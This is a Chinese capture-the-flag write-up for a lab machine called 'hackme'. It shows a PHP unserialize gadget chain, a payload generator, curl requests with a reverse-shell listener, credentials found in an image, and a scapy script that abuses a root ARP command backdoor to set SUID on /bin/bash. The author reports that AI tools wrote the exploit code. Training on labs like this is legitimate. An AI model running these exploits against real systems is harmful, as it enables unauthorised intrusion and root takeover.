

群友靶机-hackme

信息搜集

```
(root@kali)-[/home/kali/aaa]
└─# nmap 192.168.1.5 -p- -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 03:39 EDT
Nmap scan report for bogon (192.168.1.5)
Host is up (0.0013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (image/jpeg).
MAC Address: 08:00:27:47:79:71 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 -
7.5 (Linux 5.6.3)
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   1.34 ms bogon (192.168.1.5)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds
```

只开放了一个80端口

web探测



web界面就一个图片，直接看源码

```
<!--
class Starter {
    public $obj;
    public function execute() {
        echo $this->obj;
    }
}

class Middle {
    public $target;
    public function __toString() {
        return $this->target->run();
    }
}

class Runner {
    public $command;
    public function run() {
        system($this->command);
    }
}

if (isset($_POST['data'])) {
    $data = base64_decode($_POST['data']);
    if ($data !== false) {
        $obj = unserialize($data);
        if (is_object($obj) && method_exists($obj, 'execute')) {
            $obj->execute();
        }
    }
    exit;
}
--!>
```

在注释内看见了php，反序列化

```
Starter->execute() -> echo $this->obj
    ↓
Middle->__toString() -> $this->target->run()
    ↓
Runner->run() -> system($this->command)
```

把代码给ai

```
<?php

// The class definitions are needed to create the objects before serialization.
// The method bodies are not required for serialization itself.
class Starter {
    public $obj;
}

class Middle {
    public $target;
```

```

}

class Runner {
    public $command;
}

// 1. Create the final object in the chain (the one that executes the command)
$runner = new Runner();
// Set the command you want to execute on the server
$runner->command = 'whoami'; // Or 'id', 'ls -la', 'cat /etc/passwd', etc.

// 2. Create the middle object that links to the final one
$middle = new Middle();
$middle->target = $runner;

// 3. Create the initial object that the vulnerable script will interact with
$starter = new Starter();
$starter->obj = $middle;

// 4. Serialize the object chain and Base64 encode it
$serialized_payload = serialize($starter);
$final_payload = base64_encode($serialized_payload);

echo "Your payload:\n\n";
echo $final_payload;
echo "\n";

?>

```

POST传参, 参数是data

```

└─(root@kali)-[~/website]
└─# curl -X POST http://192.168.1.5 -d
"data=Tzo3OiJTdGFydGVyIjoxOntzOjM6Im9iaaiI7Tzo2OiJNaWRkbGUiojE6e3M6NjoidGFyZ2V0Ij
tPOjY6Ij1bm5lciI6MTp7czo3OiJjb21tYW5kIjtzOjY6Indob2FtaSI7fX19"
www-data

```

有回显, 那么反弹shell, 把上面的whoami修改为反弹shell的命令

```

└─(root@kali)-[~/website]
└─# curl -X POST http://192.168.1.5 -d
"data=Tzo3OiJTdGFydGVyIjoxOntzOjM6Im9iaaiI7Tzo2OiJNaWRkbGUiojE6e3M6NjoidGFyZ2V0Ij
tPOjY6Ij1bm5lciI6MTp7czo3OiJjb21tYW5kIjtzOjY6Indob2FtaSI7fX19"

```

```

└─(root@kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.5] 47766
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

www-data-->joker

```
www-data@hackme:/var/www/html$ ls -la
total 224
drwxr-xr-x 2 root root 4096 Mar 11 11:15 .
drwxr-xr-x 3 root root 4096 Apr 4 2025 ..
-rw-r--r-- 1 root root 872 Mar 11 10:35 index.php
-rw-r--r-- 1 root root 214602 Mar 11 10:49 joker.jpg
```

joker.jpg有个额外内容

```
joker:@-joker-@-123421-@
```

直接su是无法切换的，只能ssh进行登陆

```
www-data@hackme:/var/www/html$ ssh joker@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:IV6iZTL6D//10jh0d8XoSMEpPgjyUfV/FpQmf3q35Hg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
===== ARP Scan Result (Updated at 2026-03-11 13:25:17) =====

192.168.64.1    1e:57:dc:84:53:64 Unknown
192.168.64.12  1e:b4:39:27:72:19 Unknown
joker@127.0.0.1's password:
Linux hackme 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
joker@hackme:~$
```

joker-->root

通过传入的pspy64，可以明显的看到有个定时任务在进行

```
2026/03/30 02:15:39 CMD: UID=0      PID=16482 | /usr/bin/python3
/root/arp_server.py
2026/03/30 02:15:40 CMD: UID=0      PID=16483 | /usr/bin/python3
/root/arp_server.py
2026/03/30 02:15:40 CMD: UID=0      PID=16484 | /usr/bin/python3
/root/arp_server.py
```

以root的身份执行了/root/arp_server.py

看到arp字眼，我一开始以为是arp欺骗的信息，后来才发现只是通过ARP协议接收并执行命令的后门程序

经过对AI的拷打，知道了arp_server.py的一些信息

命令长度 $\leq$ 6个字符
命令不能包含空格
检查ARP包的payload是否以"CMD:"开头
如果是，则提取并执行命令
只能通过ARP请求触发
每次执行有5秒超时
通过ARP响应包返回命令执行结果

看一下相关服务

```
joker@hackme:/tmp$ cat /etc/systemd/system/arp-listener.service
[Unit]
Description=ARP Command Listener
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/python3 /root/arp_server.py
ExecStartPost=/bin/bash -c 'sleep 10 && systemctl restart arp-listener.service'
Restart=always
RestartSec=3
User=root

[Install]
WantedBy=multi-user.target
```

这个bash进程以root权限运行
每10秒执行一次
以root运行Python脚本
每10秒自动重启
崩溃后3秒自动重启

知道这些信息后，接着拷打AI，给出了下面的脚本

其中要修改攻击机和靶机信息为你自己的机器

```
#!/usr/bin/env python3
# arp_exploit_final.py
from scapy.all import *
import time

TARGET = "192.168.1.5"
ATTACKER = "192.168.1.7"
IFACE = "eth0"

def send_arp_command(cmd, wait_response=True):
    """
    发送 ARP 命令到靶机
    命令限制：长度 <= 6，无空格
    """
    payload = b"CMD:" + cmd.encode()

    pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
        ARP(op=1, pdst=TARGET) / \
        Raw(load=payload)
```

```

print(f"[*] 发送命令: {cmd}")

if wait_response:
    ans, unans = srp(pkt, iface=IFACE, timeout=3, verbose=0)

    if ans:
        for snd, rcv in ans:
            if Raw in rcv:
                response = rcv[Raw].load
                print(f"[+] 响应:\n{response.decode(errors='ignore')}\n")
                return response
            else:
                print("[-] 无响应\n")
                return None
    else:
        sendp(pkt, iface=IFACE, verbose=0)
        print("[+] 已发送\n")
        return None

def main():
    print("="*60)
    print("ARP 命令注入利用工具")
    print("="*60)
    print(f"目标: {TARGET}")
    print(f"限制: 命令长度 <= 6, 无空格")
    print("="*60)

    # 步骤 1: 测试连接
    print("\n[1] 测试连接...")
    send_arp_command("whoami")

    # 步骤 2: 查看当前目录
    print("[2] 查看当前路径...")
    send_arp_command("pwd")

    # 步骤 3: 执行预先准备的脚本
    print("[3] 尝试执行 /tmp/p (需要在靶机上预先创建)")
    print("    在靶机上先运行:")
    print("    echo '#!/bin/bash' > /tmp/p")
    print("    echo 'chmod +s /bin/bash' >> /tmp/p")
    print("    chmod +x /tmp/p")
    input("\n按回车继续...")

    send_arp_command("/tmp/p", wait_response=False)

    print("\n" + "="*60)
    print("[+] 利用完成!")
    print("="*60)
    print("在靶机上执行以下命令获取 root:")
    print("    bash -p")
    print("="*60)

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        # 直接执行指定命令
        cmd = sys.argv[1]

```

```

    if len(cmd) > 6 or ' ' in cmd:
        print(f"[-] 命令不符合要求：长度={len(cmd)}，含空格={' ' in cmd}")
        sys.exit(1)
    send_arp_command(cmd)
else:
    main()

```

```

└─(root@kali)-[/home/kali/aaa]
└─# python3 1.py

```

=====

ARP 命令注入利用工具

=====

目标：192.168.1.5
限制：命令长度 <= 6，无空格

=====

[1] 测试连接...

[*] 发送命令：whoami

[2] 查看当前路径...

[*] 发送命令：pwd

[3] 尝试执行 /tmp/p（需要在靶机上预先创建）
在靶机上先运行：

```

echo '#!/bin/bash' > /tmp/p
echo 'chmod +s /bin/bash' >> /tmp/p
chmod +x /tmp/p

```

按回车继续...

[*] 发送命令：/tmp/p
[+] 已发送

=====

[+] 利用完成！

=====

在靶机上执行以下命令获取 root：

```

bash -p

```

=====

然后再靶机上进行这个操作

```

joker@hackme:~$ echo '#!/bin/bash' > /tmp/p
joker@hackme:~$ echo 'chmod +s /bin/bash' >> /tmp/p
joker@hackme:~$ chmod +x /tmp/p

```

运行之后，查看/bin/bash的权限

```

joker@hackme:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash

```

可以发现有了suid权限

flag

```
bash-5.0# cat root.txt
flag{root-bGwxMDQ1NjcgaXMgYXd1c29tZSEgQWJzb2x1dGVseSBhd2Vzb211IQ}
bash-5.0# cat /home/joker/user.txt
flag{user-bGwxMDQ1NjcgaXMgYXd1c29tZSE}
```